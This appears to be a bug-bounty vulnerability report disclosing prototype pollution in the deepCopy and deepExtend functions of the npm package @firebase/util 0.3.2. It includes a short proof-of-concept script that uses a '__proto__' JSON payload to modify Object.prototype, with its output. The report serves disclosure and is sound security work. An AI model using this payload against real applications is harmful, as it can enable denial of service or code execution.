How it was found

Module

module name: @firebase/util version: 0.3.2 npm page: https://www.npmjs.com/package/@firebase/util

Module Description

NOTE: This is specifically tailored for Firebase JS SDK usage, if you are not a member of the Firebase team, please avoid using this package

This is a wrapper of some Webchannel Features for the Firebase JS SDK.

Module Stats

[1,516,157] weekly downloads

Vulnerability

Vulnerability Description

I tested the deepCopy and deepExtend functions.

The deepCopy and deepExtend functions can be used to add/modify properties of the Object prototype. These properties will be present on all objects.

Steps To Reproduce:

• install @firebase/util module:
  • npm i ``@firebase/util

Run the following poc:

const utils = require('@firebase/util');

const obj = {};
const source = JSON.parse('{"__proto__":{"polluted":"yes"}}');
console.log("Before : " + obj.polluted);
utils.deepExtend({}, source);
// utils.deepCopy(source);
console.log("After : " + obj.polluted);

Output:

Before : undefined
After : yes

{F1024346}

Supporting Material/References:

• OPERATING SYSTEM VERSION: Ubuntu 18.04.4 LTS
• NODEJS VERSION: v14.11.0
• NPM VERSION: 6.14.8

Wrap up

• I contacted the maintainer to let them know: [N]
• I opened an issue in the related repository: [N]

Thank you for your time.

best regards,

d3lla

Impact

The impact depends on the application. In some cases it is possible to achieve Denial of service (DoS), Remote Code Execution, Property Injection.